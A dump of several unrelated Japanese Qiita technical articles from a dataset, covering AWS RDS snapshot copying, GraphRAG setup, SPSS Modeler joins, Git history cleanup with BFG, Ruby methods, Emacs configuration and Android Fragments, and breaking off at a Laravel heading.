OmniAICreator/Qiita-1.07M huggingface dataset:
Amazon RDS for Db2: スナップショットの別リージョンへのコピー

Amazon RDS for Db2で作成したスナップショットは同じリージョンにあるDBにしかリストアできません。
別リージョンにあるDBへリストアしたい場合は、スナップショットを別リージョンにコピーしてからリストアします。

当記事はスナップショットを別リージョンへのコピーする方法について説明します。

#### 1. Amazon RDS コンソール https://console.aws.amazon.com/rds/ より、ナビゲーションペインで、[データベース] を選択し、作成する DB インスタンスをクリックします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294516/4e7a9341-5b65-db58-4f61-2faa5e8ca8be.png)

#### 2. 「メンテナンスとバックアップ」タブをクリックします
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294516/54c31416-bd1e-1f4d-35ec-c86dacf87187.png)

#### 3. 一番下のスナップショット から別リージョンへのコピーしたいスナップショット名をクリックします
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294516/991b4893-8f6a-04da-8d8b-ba398994373c.png)

#### 4.  右上の「アクション」から「スナップショットをコピー」をクリックします
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294516/49232a7f-4093-ad96-132a-3328bf3e9a47.png)

#### 5.  設定・暗号化に必要事項を入力し、「スナップショットをコピー」をクリックします

「新しい DB スナップショット ID」に任意の名前を入れ、
「送信先リージョン」はコピー先のリージョンを選択します。ここでは大阪を選択しています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294516/f8d64ad4-7067-2408-91ae-90737f6e26ba.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294516/9b42e71a-7062-dfc4-33fa-ab8eb15286f6.png)

#### 6.  コピーが完了するまで待つ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294516/1c1a70a6-15c5-1782-c93b-0714e2cd775f.png)

完了のメッセージが表示されます:
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294516/75a9e568-bc26-f139-3ce9-736a8ae3a379.png)


#### 7. 確認
確認は表示されたメッセージの「詳細を表示」をクリックします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294516/0f1c760f-b881-9d5d-e71b-bdec4f0b29c4.png)

コピー先のリージョン（ここでは大阪リージョン）のスナップショットの詳細画面が表示されます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294516/346b5b85-7136-a222-768d-670fd803b646.png)

無事コピーできました！

ここからコピー先のリージョンのDBへリストア可能です。
方法はコピー先のリージョンでAmazon RDS コンソール https://console.aws.amazon.com/rds/ より、ナビゲーションペインで、[スナップショット] を選択し、リストアしたいスナップショットを選択し、アクションから「スナップショットの復元」をクリックしてください。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294516/4a667116-4ddb-e55c-ba71-b68e2379345e.png)
その後の方法は「[Amazon RDS for Db2: スナップショットの作成とリストア： 3. スナップショットのリストア ](https://qiita.com/nishikyon/items/947695b0d41ae24665ce#3-スナップショットのリストア)」を参照してください。

以上です。
MacBookでminecraftのshortsを作ってみて思ったこと

--使ったソフト--

・MacユーザーなのでImovie
・MinecraftJava版 FabricMOD 1.21
・QuickTimePlayer
・BackGroundMusic


とりあえずMacBookは動作が重いので軽量化MODを複数入れました。(Fabric用)
便利だったので、紹介します。↓
・sodium
詳細：軽量化MODの定番。かなり軽くなる。


・Entity Culling
詳細：MOBの描画を調整してくれているらしい


・Lithium
詳細：妥協のないゲームロジック/サーバー最適化MOD


・Sodium Extra
詳細：Sodiumの拡張機能的な存在


これらを入れて撮影しました。

ここからが本題「MacBookでminecraftのshortsを作ってみて思ったこと」


1.ネタがない
→これは単純にネタが出てこない。他の人のアイディアをぱく...


2.オチがない
→1分なのでとにかくオチが思いつきません。助けてください。


3.まとめるのが難しい
→やはり一分の壁はデカかった。内容がスッと頭に入るような動画にするのは難しい。

なので・・・

改善策：ネタが思いつかないのはしょうがないので、せめてオチはつけたいところ
台本を書くなりして、急に始めないのが大切だと思った。



最後まで読んでいただきありがとうございました。参考？になると嬉しいです。
GraphRAG：知譇グラフを利用したRAG


GraphRAGは、単純なテキストのセマンティック検索とは異なる、構造化された階層型の検索強化生成（RAG）手法です。GraphRAGのプロセスには、原文から知譇グラフを抽出し、コミュニティの階層を構築し、これらのコミュニティの要約を生成し、そしてRAGタスクを実行する際にこれらの構造を利用することが含まれます。

詳細は：[https://microsoft.github.io/graphrag/](https://microsoft.github.io/graphrag/)

GraphRAGのインストールは非常に簡単で、最新のPythonをインストールすることから始まります。要求されるのはPython 3.10~3.12で、私がインストールしたのは3.12.4です。

1. graphragのインストール

```bash
pip install graphrag
```

2. RAGの内容を保存するための入力フォルダを作成する

```bash
mkdir -p ./ragtest/input
```

3. 以下は、公式のbook.txtコンテンツ取得コマンドです

```bash
curl https://www.gutenberg.org/cache/epub/24022/pg24022.txt > ./ragtest/input/book.txt
```

変更を提案しています。内容が大きすぎて費用がかかりすぎるため、内容が少なく、中国語のものに変えてください。GPTで生成した以下の内容を使用しました。

.NETは、Microsoftが開発した広く使用されている開発プラットフォームです。デスクトップアプリケーション、Webアプリケーション、モバイルアプリケーション、ゲームなど、様々なタイプのアプリケーションを作成するための豊富なフレームワークとツールセットを提供します。以下に.NETについての詳細な説明があります：

1. .NETの歴史と進化
2. .NETの核心コンポーネント
3. .NETの利点
4. .NETの利用シナリオ
5. .NETの未来の展望

5. 初期化、設定と出力フォルダの作成

```bash
python -m graphrag.index --init --root ./ragtest
```

作成後、.envに自分のgptのキーを入力し、節約のためにsettings.yamlの中でgptのモデルをgpt-4o-miniに変更することをお勧めします。

6. インデックスの生成

```bash
python -m graphrag.index --root ./ragtest
```

グローバル検索を使って：

```bash
python -m graphrag.query --root ./ragtest --method global ".netの利点は何ですか？"
```

![画像](https://mmbiz.qpic.cn/sz_mmbiz_png/4CAA63nvHRA2fmfWn9NXgcQKiaBLiaojIewJqc6CE7j3qRSe78sZhR9QFNqPlrkAkGF9Ah9AUKSz8a7xoLRuElBg/640?wx_fmt=png&from=appmsg)

ローカル検索を使って：

```bash
python -m graphrag.query --root ./ragtest --method local ".netがサポートする言語は何ですか？"
```

![画像](https://mmbiz.qpic.cn/sz_mmbiz_png/4CAA63nvHRA2fmfWn9NXgcQKiaBLiaojIeEnLjy3iaRCmPbT1U865GfkdF3UfsmxiczQI3SLYrAZaYvOpyNI8qBWTQ/640?wx_fmt=png&from=appmsg)

GraphRAGは、いわゆる遅い鳥が早く飛ぶ戦略を採用しています。まずLLMを使用してデータを一度処理し、その結果を知譇グラフの形で保存します。これにより、直接RAGを使用するよりも優れた効果が得られます。

(Translated by GPT)

元のリンク： https://mp.weixin.qq.com/s?__biz=MzA3NDM1MzIyMQ==&mid=2247488276&idx=1&sn=6bf37b2c9f8f74713e76616ec4a4f977&chksm=9f004c3ea877c528c0a9b0cc36b9bf65a4749b8ad2ad4cf8789b80aa95831d30ebcc76b4ad3b&token=1705004006&lang=zh_CN#rd&wt.mc_id=MVP_325642
異なるフィールド名(列名)をキーにしてテーブルを結合する(SPSS Modeler データ加工逆引き6-12)

# 異なるフィールド名(列名)をキーにしてテーブルを結合する

![スクリーンショット 2024-07-22 9.48.05.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/6fd5f63d-d65c-e15b-6ce7-d662b2c2133a.png)

## 1.想定される利用目的

・テーブルを結合する際にキーの名称が異なっている場合の対処

## 2.サンプルストリームのダウンロード

https://github.com/yoichiro0903n/blue/raw/main/diff_name.str

## 3.サンプルストリームの説明

![スクリーンショット 2024-07-22 9.52.35.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/843fd05c-824b-9ce1-168f-39972911a4c4.png)

a.入力するデータのひとつめは以下の通りです。時系列に実績が記録されたテーブルです。
![スクリーンショット 2024-07-22 9.59.15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/edcc3497-8ea2-6283-e3ca-fc8c0bd2883a.png)

b.入力するデータふたつめは以下の通りです。属性を記述したマスターテーブルです。
![スクリーンショット 2024-07-22 9.59.57.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/ccb20454-38e6-7356-43eb-baee5d830049.png)

#### 片方の列名をもう片方に揃える方法

c.[フィルター]ノードを編集します。[顧客ID]を[CUSTID]に変更します。
![スクリーンショット 2024-07-22 10.01.24.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/723905c3-c375-8515-622d-ac4a98427fdd.png)

d.[レコード結合]ノードを編集します。
![スクリーンショット 2024-07-22 10.01.39.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/790e3bed-9395-6f56-9267-8cacd0b8475f.png)

e.[ソート]ノードを編集します。
![スクリーンショット 2024-07-22 10.02.01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/64992f81-50d7-6ad0-5fa9-6931f45a63f2.png)

[テーブル]を実行します。
![スクリーンショット 2024-07-22 10.02.32.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/535563b3-ac23-df98-6e1e-8aba7c6ee013.png)

#### 条件結合を利用する方法

f.[置換]ノードを編集します。[レコード結合]を[条件]にして[顧客ID=CUSTID]と記述します。

![スクリーンショット 2024-07-22 10.02.56.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/c24a1716-1b58-c824-2bab-434e247db21a.png)

[テーブル]を実行します。

![スクリーンショット 2024-07-22 10.03.43.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286322/65446ecf-17be-a447-a380-92851d624943.png)



#### 注意事項

条件結合の場合にはキーが両方ともテーブルに残ります。このことが後続で及ぼす影響を考慮してください。

## 4.参考情報

#### レコード結合を解説した記事

https://qiita.com/416nishimaki/items/be61a82c12cd83558def

#### SPSS Modeler ノードリファレンス目次

https://qiita.com/416nishimaki/private/503037195081d3323eee

#### SPSS Modeler 逆引きストリーム集（データ加工）

https://qiita.com/416nishimaki/private/4bf813e6cba84b2a1008
AWS Certified Cloud Practitioner (CLF)試験合格体験記

# 2024年6月13日にAWS Certified Cloud Practitioner (CLF) 合格しました！

## 勉強期間
2024年5月30日〜6月13日

## AWSの経験

•AWS専門のクラウドスクールにて勉強中
•実務経験なし

この試験を通じて、クラウドの基礎知識から、AWSの主要なサービス、セキュリティ、料金モデル、クラウドの価値提案など、多くのことを学びました。AWSのエコシステムについての理解が深まり、これからのクラウドキャリアに向けた大きな一歩となりました。そしてAWSのスクールでIAMについて詳しく説明していただける授業があった為、理解度が上がりました。

## 試験対策に使ったリソース：

	•	AWS公式トレーニング
	•	クラウドテック
	•	クラウドライセンス

これからもさらに深く学び、次の認定試験に向けて頑張ります！次はAWSソリューションアーキテクトアソシエイト（SAA）を目指します。
【実装】初心者必見！ゼロから学べる実践入門

実装とは？
---
実装とは、システム設計に基づいてソフトウェアのコードを書くプロセスです。
設計で決定されたアーキテクチャや仕様に従い、実際のプログラムを構築していきます。

実装の内容
---
■設計の具現化
設計で決定したシステムの機能や仕様を実際のコードとして実現します。

■機能の実装
ユーザーが期待する機能を正確に、効率的に実装します。

■品質の確保
コードの品質を保ち、バグやエラーを最小限に抑えます。

■コーディング規約の確認
プロジェクトにおけるコーディング規約やスタイルガイドを確認し、一貫性のあるコードを書くようにします。

■クラスとモジュールの実装
設計に基づいて、クラスやモジュールを実装します。
クラスの責任やインターフェースを明確にし、必要なメソッドやプロパティを実装します。

■データベースとの連携
データベースとの接続やクエリの実装を行います。
ORM（Object-Relational Mapping）ツールを使用する場合は、エンティティとマッピングを設定します。

■APIの実装
システム内の他のコンポーネントや外部システムとの連携のために、APIエンドポイントを実装します。
リクエストとレスポンスの仕様に従い、適切なデータの送受信を行います。

■ユーザーインターフェースの実装
ユーザーインターフェース（UI）のコードを実装します。
デザインに基づき、画面レイアウトやインタラクションを実装し、ユーザーが直感的に操作できるようにします。

■テストの実装
単体テストや統合テストのコードを実装します。
テストフレームワークを使用して、機能の動作確認やバグの早期発見を行います。

■デバッグと最適化
コードにバグがないかをデバッグし、パフォーマンスの最適化を行います。
コードの効率を高め、レスポンス時間を短縮します。

ベストプラクティス
---
■コードの可読性
コードは読みやすく、理解しやすいものであるべきです。
意味のある変数名や関数名を付け、適切なコメントを追加します。

■コードの再利用性
共通の処理や機能は、再利用可能な形でモジュール化し、コードの重複を避けます。

■バージョン管理の活用
Gitなどのバージョン管理ツールを活用し、コードの変更履歴を管理します。
ブランチやマージの戦略を適切に設定し、チーム作業を効率化します。

■エラーハンドリング
エラーハンドリングを適切に実装し、異常な状況にも対応できるようにします。
ユーザーにわかりやすいエラーメッセージを提供することも重要です。

■パフォーマンスの監視
実装後はパフォーマンスを監視し、必要に応じて最適化を行います。
リソースの使用状況やレスポンス時間をチェックし、改善点を見つけます。

まとめ
---
実装は、設計を具体的なコードとして具現化する重要なプロセスです。
コーディング規約に従い、データベースやAPIとの連携を行い、テストやデバッグを通じて品質を確保します。
ベストプラクティスを実践することで、効率的で品質の高いソフトウェアを開発することができます。
BFG Repo-Cleanerを使って容量の大きいファイルのプッシュ履歴を削除する

# はじめに
Git LFS を使用して容量の大きいファイルをプッシュしたのですが、失敗してしまいました。
おそらく履歴が残ってしまっています。
**BFG Repo-Cleaner を使用して、容量の大きいファイルをリポジトリの履歴から削除**してみたいと思います。
# BFG Repo-Cleanerを使ってみる

**環境はUbuntu**を使用しています。

**BFG Repo-Cleaner の JAR ファイルをダウンロード**
```
wget https://repo1.maven.org/maven2/com/madgag/bfg/1.13.0/bfg-1.13.0.jar -O bfg.jar
```

**BFG Repo-Cleanerの使用にはJavaが必要なのでインストール**
```
sudo apt install default-jre
```
**リポジトリのクローンを作成**
```
git clone --mirror https://github.com/AyakaKoyama/tech-blog.git
cd tech-blog.git
```
**ダウンロードした JAR ファイルの場所を確認**
```
find ~{削除対象のファイルがあるディレクトリ} -name "bfg.jar"
```
**対象のファイルを削除**
```
java -jar ~{JAR ファイルがあるディレクトリ}/bfg.jar --delete-files '削除対象ファイルのパス'
```
**リモートリポジトリにプッシュ**
```
git push --force
```
# おわりに
誤って個人情報をプッシュしてしまったときも使えるようです。
# 参考

https://qiita.com/Muse_06/items/c530a049f0567832e539
【読書記録】プリンシプル オブ プログラミング (プログラミングセオリー)

# 読んだ本
「プリンシプル オブ プログラミング3年目までに身につけたい一生役立つ101の原理原則」

https://www.amazon.co.jp/dp/4798046140

この記事では、３章の *プログラミングセオリー* について記載します。

# プログラミングセオリー
```
A theory of programming
```

### どういうこと？

プログラミングの最大の関心事は「最高のコード」を作りあげること。
最高のコードとは、「拡張方法が多く存在し、余分な要素が存在せず、読みやすく、理解しやすい」コード。

最高のコードを実現するための「セオリー（確立された方法）」がある

#### プログラミングセオリーを支える3つの価値
- コミュニケーション（コードも人に見せる「文章」である）
- シンプル
- 柔軟性

#### プログラミングセオリーを実現する6つの原則
- 結果の局所化
- 繰り返しの最小化
- ロジックとデータの一体化
- 対称性
- 宣言型の表現
- 変更頻度


## 原則1: 結果の局所化

### どういうこと？

- 変更の影響が局所に留まるようにコードを構成する
- 結果が局所化されていないと、ある部分の変更が全く別の部分に影響して、変更コストが急増する

### どうすれば？

- 関係性の高いコードを集約してモジュール化（部品）する

#### モジュールとは何か？
>モジュールとは、プログラミングにおいて関連するコードをひとまとめにした単位です。コードを小さな部品に分割し、それぞれが独立して機能するように設計することができます。
参考: https://zenn.dev/yoojiyang/articles/3ac641e20ec05d

## 原則2: 繰り返しの最小化

### どういうこと？

- 重複を極力排除する
- 繰り返しのコードは「結果の局所化」原則を侵害し、変更コストを増大させる

### どうすれば？

コードをたくさんの小さい部分に分割する

## 原則3: ロジックとデータの一体化

### どういうこと？

- ロジックとロジックが操作するデータを互いに近くに置くようにする
- コードを修正する場合、ロジックとそのロジックが操作するデータは、大抵同じタイミングで変更するため

### どうすれば？

- ロジックとデータをコード上で近くに配置する

## 原則4: 対称性

### どういうこと？

- コードに一貫性を持たせる

### どうすれば？

- 同じ種類のもの、つまり同質なものは、同じレベルで表現する。
    - 「追加」メソッドがあれば、対になる「削除」メソッドを作成する
    - あるモジュール内のデータは、すべて生存期間が同じであるようにする

## 原則5: 宣言型の表現

### どういうこと？

- コードの意図を伝えようとする時、できるだけ「命令型」よりも「宣言型」で表現する
- 命令型のコードは、常に状態・制御・データフローを頭に描かないと、事実を正確に理解できない。そのため、流れを追いながら読まなければならない。

> 宣言型プログラミング
> 　　　何をするかが明確に宣言（記述）されている
> 命令型プログラミング
> 　　　どのように実行させるかを記述
参考：https://qiita.com/Jungle-King/items/75bce55427285d7c6aae

### どうすれば？

- 宣言型のコードを取り入れ、シンプルに意図を表現する

## 原則6: 変更頻度

### どういうこと？

- 変更理由でグルーピングする
- コードを修正するタイミング（変更頻度）が同じ。つまり、変更理由が同じ。
- 変更理由が1つであることは、関連性の高いコードが集合している事になる（＝高い凝集性を満たしている）。変更対象範囲が狭く、影響範囲も狭くなるので、修正しやすいコード。

### どうすれば？

- 変更するタイミングが同じ要素は同じ場所に置く
- 変更理由や頻度が同じものを集めれば、自ずと「単一責任の原則」を満たすモジュールが出来上がる
【Suno AIでつくった楽曲】しろぶりゅーの歌 ver.5 (口笛、Hip-hop Beat、泉まくらさん風編曲)【動画 1分46秒】【YouTubeチャンネルからの転記です】

この記事は、わたしの[YouTubeチャンネル](https://bit.ly/Yamanaka-YouTube "Living without things. 持たない生き方 手放す生き方")にある公開動画を転記しております。
( どこかのタイミングで、プログラミング-Google Apps Script or iPaaS-Zapier をつかって自動転記させる予定です )

転記のための時間コストを少なくしたいので、文字装飾( Markdown記法 )を極力つかわずに書いております。

こちらが動画内容です👇

***

![01 YouTube再生中の画像 Suno AI _ しろぶりゅーの歌 ver.5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/386308/3025652c-fc0e-9d6c-c52b-8da780828a25.png)



* # 動画URL
    * https://youtu.be/RLLtKSo-f18

<br>

* # 動画タイトル
    * 【Suno AIでつくった楽曲】しろぶりゅーの歌 ver.5 (口笛、Hip-hop Beat、泉まくらさん風編曲)【動画 1分46秒】

<br>

* # 動画の説明欄(一部を抜粋)

📅撮影日 = 2024-07-24(水)

Suno AIとは、文章から音楽を生成することができるAI( Text-to-Music-AI )です。
わたしは、2024-04-02(火)に初めてSuno AIで有償プランを契約してから、時々楽曲をつくって遊んでいます。

🎦【Suno AI】文章から音楽を生成するAI( Text-to-Music-AI )で、3分間で2曲、6分間で4曲作りました【試聴可能】1)伴侶の曲 2)税理士の曲【動画 16分11秒】
https://youtu.be/QKfhk4HgQ_g

🎦“Suno AIでつくった楽曲”シリーズ
https://www.youtube.com/playlist?list=PLpQhBHT4oghMLdiSVqwvSs_Z5y0H4VGOe

🎦“効果的にSuno AIを活用するヒント”シリーズ
https://www.youtube.com/playlist?list=PLpQhBHT4oghPuaNOVZn-N53wVvsBkeHdI


今回は、Suno AIでつくった曲を WAV で出力してから、動画編集いたしました。

スロージョギングの途中に、早朝の中目黒で偶然出会った「しろぶりゅー」-ShiroBrew-のテーマソング( イメージソングは和製英語です )を、1人のファンとして自主的につくりました。
つまり「しろぶりゅー」のファンメイドテーマソングです。

ぜひ聴いてみてください。
そして、ぜひみなさんも、あなたが大好きなお店やブランドや企業のために楽曲をつくってみてください！

作曲日:
2024-07-20(土)

Suno AI 契約の種類:
Pro Plan

楽曲の正式名称:
しろぶりゅーの歌 #5

Suno AI Library URL:
https://bit.ly/ShiroBrew-05

Custom Mode: On

Audio Inputs: Not Used

With Vocals:


---


Lyrics(without Meta tags):

真っ白な心

そよ風感じる

コーヒーの香りと
真っ白な心


---


Lyrics & Meta tags:

[Break]

[Intro]

[Whistling]

[Verse]
真っ白な心

[Verse 2]
そよ風感じる

[Chorus]
コーヒーの香りと
真っ白な心

[Whistling]

[Outro]


---


Suno AIへの指示文章( プロンプト/Prompt ): Custom Modeの場合は”Style of Music”を指定します。


🇬🇧English

[Waltz][250 seconds][Female voice][Chill]


🇯🇵日本語訳

[ワルツ][250秒][女性の声][チル]


---


Suno AI 公式URL
https://accounts.suno.ai


SHIROノMONO 公式URL - Instagram
https://www.instagram.com/shiro_nomono


---


✓ 🎥この動画と関連が強いわたしの動画 ↙
　・“Suno AIでつくった楽曲”シリーズ
　https://www.youtube.com/playlist?list=PLpQhBHT4oghMLdiSVqwvSs_Z5y0H4VGOe


　・“効果的にSuno AIを活用するヒント”シリーズ
　https://www.youtube.com/playlist?list=PLpQhBHT4oghPuaNOVZn-N53wVvsBkeHdI


　・“しろぶりゅー ファンメイドソング”シリーズ
　https://www.youtube.com/playlist?list=PLpQhBHT4oghPk5-_YwWl499DNAOVKlcvZ


✓ 🎥Shortened URL for this video | この動画の短縮URL ↙
　https://bit.ly/3WAclyA
XXXXXXXXXXXXXXXx

【本レビューの指摘対応分】
前回指摘の内容を修正しましたので、本日引き続き指摘対応分のレビューをお願いします。
先ずは記録表58番の指摘対応について、確認をお願いします。
指摘自体の内容はPL層のManageBean、APIクラスとBL層の業務処理をそれぞれにCheckStatusフォルダに移動する指摘ですけど、
で、電文を疎通確認する時、不具合らしい事象が発生したため、ManageBeanクラスをフォルダに移動しても、その事象が解決出来なかったです。
　電文の起動順は0001V2起動⇒00005クイックログイン認証⇒0008⇒00016だと、問題ないですが、
　申し0001V2起動⇒0002⇒0003⇒0005クイックログイン認証⇒0008⇒00016実行順の場合、電文起動エラーが発生してしまった。
①先ずは、SappReqDispatchのManageBeanから見ます。
　元々新規作成のManageBeanクラスを削除して、クラス中の内容をまるまるSmartPhoneAppQuickLoginRegistrationManagedBeanに移動します。
　ManageBean変更に伴い、MethodBindingMapのXMLファイルにて、今回新規四つ電文のManageBeanの名を既存クルス名を変更します。
　更に、actionをstartからeventに変更し、Action IDも合わせて修正します。
　faces-config-securityのXMLファイルにて、元のManageBean定義の内容をまるまる消します。
　　電文処理正常する時、フォワード定義のところ、MethodBindingMapのAction IDと同じ名を利用します。
②次、Security側の本処理ManageBean修正です。
　同じように、元々新規作成のManageBeanクラスを削除し、クラス中の内容を既存ManageBeanに移動します。
　　ConstantクラスとOUTServiceBeanクラスをインポートします。
　　共通情報を格納するBeanの定義を追加します。
　　FormBeanを初期化するメソッドで共通情報Beanを生成します。
　　一番後ろに、元内容をそのままに移動します。
　MethodBindingMapMainServiceのXMLファイルにて、先SappReqDispatch直下のXMLファイルと同じ修正です。
　faces-config-securityのXMLファイルも同じ修正です。
③次、Security　APIクラスの修正です。
　指摘内容に従って、元々API中で実装する内容をCheckStatusAPIクラスに移動します。
　元々追加する新規電文に関する内容を全部消して、内容をCheckStatusAPIクラスに追加します。
　フォルダ変更に伴って、利用されている定数クラスも変更しないといけません。
　元々LoginAuthenticationConstantにて、追加する内容を消して、CheckStatusConstantクラスに移動します。
④次、BL層、実際の業務処理クラスの対応です。
　電文処理「他行付番要否チェック」と「他行付番の申請状態更新」BLクラスをCheckStatusのNumbering直下に移動します。

次、レビュー表58番の修正内容を確認お願いします。
　OUTServiceBeanを二つに分けられました。NumberingInitSettingStatusCheckクラスにて、OUTServiceBeanを利用されている箇所、
　を分けたOutServiceBeanに変更します。
次、60番と61番例外処理に関する対応です。
　ワーニングログをエラーログに変更し、元例外内容をエラーログに出力します。

最後、62番の指摘対応です。
　accountTypeIdメンバー変数をローカル変数に変更します。メンバー変数をけして、メソッド中でローカル変数の定義を追加します。



他行付番申請受付完了
今回の新規画面「他行付番申請受付完了」のPCLレビューをお願いします。
画面種類によって、SFESとWEBView、二種類に分けれれますので、PCLファイルを２本作りました。更に、各ファイルにて、それぞれに三つ支店がありますので、ファイル中で支店毎、シートを用意しておきます。
先ずはSFESファイルのプローパ支店シートから説明させていただきます。
ケース1番の観点は、画面初期表示時、レイアウトの確認観点です。
　確認内容について、いただいたモック通り、画面ヘッダー部、見出しタイトルの文言、IframeのURL、myAccountボタンと画面フッター部が正しい表示されること。
ケース2番、画面上唯一ボタンのアクションが正しいかないかので観点です。
　ボタンをクリックした後、「myAccount」画面へ遷移されることを確認です。
ケース3番、RAT確認で画面のページネームが送信されるか、ないかの確認観点です。
　前用の専用のJavaScriptを用意して送信されたページネームが「SPnumberingApplyAccomplished」であることを確認します。
次、DL支店シート、JRE支店シート中で各ケースの観点と確認内容はほぼ同じです。差異は1点だけです。IframeのURLについて、各支店毎、専用のURLが用意されます。
次webViewファイルの確認をお願いします。
同じく支店毎、シートが分けられます。
ケース観点はSFESと同じです。
差異は、レイアウト確認でwebViewの場合、ヘッダーとフッターの確認が不要のこと。ボタン名が「ホームに戻る」であること。ボタンをクリックした後、遷移先が「XXXXXX」であること。後は、IframeのURLがwebView場合各支店専用のURLが利用されいること。
mapメソッドを&:と一緒に使う時の方法

## mapメソッドってどんななの?
>各要素に対してブロックを評価した結果を全て含む配列を返します。
なので、計算してそれを配列で返してくれるメソッドですね。

ただ、良く
```
members = organizations.map(&:member)
```
というコードを見かけます。

これなんなん？って思っていたので、調べてみました。

```
organizations.map { |org| org.member }
```
が省力して書ける感じですね。これはよく中間テーブルとかで、経由先をまとめて取得したい時とかに使います。
イディオム的に覚えるしかないやつですね〜

## 参考記事
https://techracho.bpsinc.jp/hachi8833/2021_05_27/66735
sort_byをHashに対して使う時の話

## どんなメソッドなの？
>ブロックの評価結果を <=> メソッドで比較することで、self を昇順にソートします。ソートされた配列を新たに生成して返します。

なので、ArrayやHashで使って場合に、中身をソートして配列を返すってメソッドですね。

## 具体例
```
# サンプルハッシュ
hash = { 3 => "apple", 2 => "banana", 5 => "cherry", 1 => "date" }

# キーでソート
sorted_by_key = hash.sort_by { |key, value| key }
puts "Sorted by key (as array):"
p sorted_by_key

# 値でソート
sorted_by_value = hash.sort_by { |key, value| value }
puts "\nSorted by value (as array):"
p sorted_by_value
```

こんな感じで使用できます。

ただ、Hashで使った場合は、配列になってしまうのでHashのまま扱いたい人は、.to_hメソッドを使って
```
sorted_by_key_hash = hash.sort_by { |key, value| key }.to_h
```
としてあげれば、Hashのままソートできます。
Markdown形式のHugo Front Matterの日時をemacsで自動的に更新する

# 概要
[asciidoctor形式での自動更新の記事](https://qiita.com/YasuhiroABE/items/76d4f17792aded97ea94)の設定をMarkdownにしたほか、2点変更しています。

# Markdown対応
* ```.adoc```→```.md```
* ```adoc```→```markdown```

にするだけです。

# local hook化
そのままだとMarkdown以外にも適用されます。たとえばinit.elを編集すると、この設定の```(setq time-stamp-start "date: ")```の```date: ")```まで書き換わってしまいます。
[StackExchangeの記事](https://emacs.stackexchange.com/questions/5452/before-save-hook-for-cc-mode)を参考に、```'local```をつけました。

# time-stamp-format変更対応
Emacs 27.1ではそのままだと以下の警告が出ます。
```
The formats recognized in time-stamp-format will change in a future release
to be more compatible with the format-time-string function.

The following obsolescent time-stamp-format construct(s) were found:

"%04y" -- use %Y
```
`%Y`に変えました。

# 結果
上記の結果です。
```
(add-to-list 'auto-mode-alist '("\\.md\\'" . markdown-mode))
(add-hook 'markdown-mode-hook (lambda()
  (require 'time-stamp)
  (add-hook 'before-save-hook 'time-stamp nil 'local)
  (setq time-stamp-active t)
  (setq time-stamp-start "date: ")
  (setq time-stamp-format "%Y-%02m-%02dT%02H:%02M:%02S%:z")
  (setq time-stamp-end "$")
))
```
AndroidアプリでFragmentを作成して表示する

# はじめに

こんにちは、Androidアプリ開発の勉強を開始したばかりのkeitaMaxです。

https://developer.android.com/guide/fragments/create?hl=ja#kts

公式に従ってやります。

# 設定追加

build.gradleのdependenciesに以下を追加します。

```
implementation(libs.androidx.fragment.ktx)
```

# フラグメントを追加

フラグメントを追加します。

`File>New>Fragment>FullScreenFragment`の順に操作し、名前を`ExampleFragment`にして追加しました。

![スクリーンショット 2024-07-23 10.43.15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3715123/7e9a6f8f-9c76-8569-8059-1610a2f6663c.png)

`ExampleFragment`と`fragment_example`ファイルが作成されます。

# 今追加したフラグメントを表示する

`activity_main`ファイルに今のフラグメントを追加します。

```xml:activity_main
    <androidx.fragment.app.FragmentContainerView
        android:id="@+id/fragment_container_view"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:name="com.iggyapp.insuubunkai.ExampleFragment" />
```

`MainActivity`の中身も以下のように修正します。
```kotlin:MainActivity
class MainActivity : AppCompatActivity() {
    private lateinit var binding: ActivityMainBinding　//　追加

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        enableEdgeToEdge()
        binding = ActivityMainBinding.inflate(layoutInflater)　//　追加
        setContentView(binding.root)　//　修正
        ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main)) { v, insets ->
            val systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars())
            v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom)
            insets
        }
        //　↓追加
        if (savedInstanceState == null) {
            supportFragmentManager.commit {
                setReorderingAllowed(true)
                add<ExampleFragment>(binding.fragmentContainerView.id)
            }
        }
    }
}
```

これでアンドロイドアプリを立ち上げてみると、


<img width="200px" alt="スクリーンショット 2024-07-23 11.02.40.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3715123/e3fda91a-d6b0-0a68-c22c-50cce1701094.png">

こんな感じで`Hello World`の上に先ほど追加したフラグメントが載っているのがわかりました。


# おわりに

この記事での質問や、間違っている、もっといい方法があるといったご意見などありましたらご指摘していただけると幸いです。

最後まで読んでいただきありがとうございました！

# 参考

https://developer.android.com/guide/fragments/create?hl=ja#kts

# 次の記事

https://qiita.com/keitaMax/items/1d2d83ff6e893a3c2d8c
【Laravel】Illuminateにある主要メソッド Cookie編

## はじめに
